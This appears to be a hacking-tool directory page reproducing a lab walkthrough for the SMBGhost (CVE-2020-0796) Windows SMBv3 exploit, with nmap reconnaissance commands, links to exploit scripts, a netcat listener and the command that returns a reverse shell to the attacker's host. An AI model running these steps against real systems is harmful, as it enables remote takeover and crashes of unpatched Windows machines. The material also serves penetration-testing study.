Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-CVE-2020-0796 — Proof-of-concept exploit for CVE-2020-0796 (SMBGhost) targeting Windows 10/Server SMBv3.1.1. Includes Nmap reconnaissance, vulnerability scanning, and reverse shell payload delivery. | Kitploit
Tools/GitHubGitHub/hungdnvp/poc-cve-2020-0796
ReconnaissanceVulnerability AnalysisExploitationNetwork SecurityPenetration TestingRemote Access Tool
GitHubhungdnvp/poc-cve-2020-0796

POC-CVE-2020-0796

Proof-of-concept exploit for CVE-2020-0796 (SMBGhost) targeting Windows 10/Server SMBv3.1.1. Includes Nmap reconnaissance, vulnerability scanning, and reverse shell payload delivery.

View Repository
22 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

**- Affected versions*

- Windows 10 Version 1903 for 32-bit Systems

- Windows 10 Version 1903 for ARM64-based Systems

- Windows 10 Version 1903 for x64-based Systems

- Windows 10 Version 1909 for 32-bit Systems

- Windows 10 Version 1909 for ARM64-based Systems

- Windows 10 Version 1909 for x64-based Systems

- Windows Server, version 1903 (Server Core installation)

- Windows Server, version 1909 (Server Core installation)

System Connection Diagram

image-20240223154022321

Target Reconnaissance

Launch Nmap to scan the network range in the DMZ

root@kitploit:~
map -sS 192.168.116.0/24

nmap: Is the name of the network scanning program.

-sS: Selects the TCP SYN scan method. In this scan, Nmap sends a SYN packet to the target host and observes the response. If the target host replies with a SYN-ACK packet, Nmap knows that the port is open. If the target host replies with an RST packet, it means the port is closed.

-192.168.116.0/24: The specific IP address or IP range you want to scan. In this case, the range is 192.168.116.0/24, describing all IP addresses from 192.168.116.1 to 192.168.116.254.

image-scanNmap

=> Observe that the victim machine IP 192.116.145 has port 445 open.

· Use Nmap to scan for vulnerabilities on the victim machine

root@kitploit:~
map -p445 –script smb-protocols 192.168.116.145

nmap: Is the name of the network scanning program.

-p445: Specifies the specific port to scan, in this case port 445. Port 445 is commonly used for communication with the SMB (Server Message Block) service on Windows systems.

--script smb-protocols: Selects the smb-protocols script to perform the scan. This script helps check and display information about the SMB protocol versions supported on the target host.

192.168.116.145: The IP address of the host you want to scan. In this case, the IP address is set to 192.168.116.145

image-sanNmap2

- The result obtained from smb-protocols indicates the victim machine potentially has a vulnerability exploitable in SMBv3.1.1

- To be more certain, continue checking the exploitability of CVE-2020-0796 by running a Python script

[]: -https://github.com/ly4k/SMBGhost "exploit code"

image-nmapcheck

=> Result Vulnerable -> detected vulnerability CVE-2020-0796 exploitable on the victim machine.

Exploit Vulnerability, Install Malware, Create Remote Control Channel

**Proceed with Reverse Shell Attack**

  • Start a session with Netcat listening for a connection from the victim*
root@kitploit:~
ncat -lvp 4444
  • Launch the CVE-2020-0796 exploit script

[]: https://github.com/jamf/CVE-2020-0796-RCE-POC "exploit code"

root@kitploit:~
python SMBleedingGhost.py 192.168.116.145 192.168.44.3 4444

image-attack

=> RESULT: The attacker gains shell code execution on the victim machine.

image-result

After a successful connection, the attacker can exploit and execute arbitrary code on the victim machine with the user's privileges in the session.

When the session ends. The victim machine experiences a BlueScreen error and auto Restarts.

image-end

*Exploitation may lead to damaging the targeted system*

Download Tool